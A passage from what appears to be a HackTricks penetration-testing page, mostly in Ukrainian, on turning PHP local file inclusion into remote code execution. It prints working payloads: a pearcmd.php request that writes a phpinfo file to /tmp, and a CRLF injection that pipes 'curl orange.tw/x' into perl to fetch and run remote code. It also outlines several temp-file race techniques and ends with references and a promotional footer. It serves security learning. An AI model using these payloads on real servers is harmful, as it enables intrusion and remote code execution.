GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Нижче показано експлуатацію вразливості CRLF для отримання RCE (з here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Через phpinfo() (file_uploads = on)
Якщо ви знайшли Local File Inclusion і файл, який показує phpinfo() з file_uploads = on, ви можете отримати RCE:
Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Якщо ви знайшли Local File Inclusion і ви can exfiltrate the path тимчасового файлу, АЛЕ сервер перевіряє, чи файл, що включається, має PHP marks, ви можете спробувати bypass that check за допомогою цієї Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб upload temporary files і змусити сервер hang виконання PHP, ви могли б потім brute force filenames during hours щоб знайти тимчасовий файл:
До Fatal Error
Якщо ви включите будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
Я не знаю, наскільки це корисно, але може бути.
Навіть якщо ви спричините PHP Fatal Error, PHP тимчасові файли, що були завантажені, видаляються.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


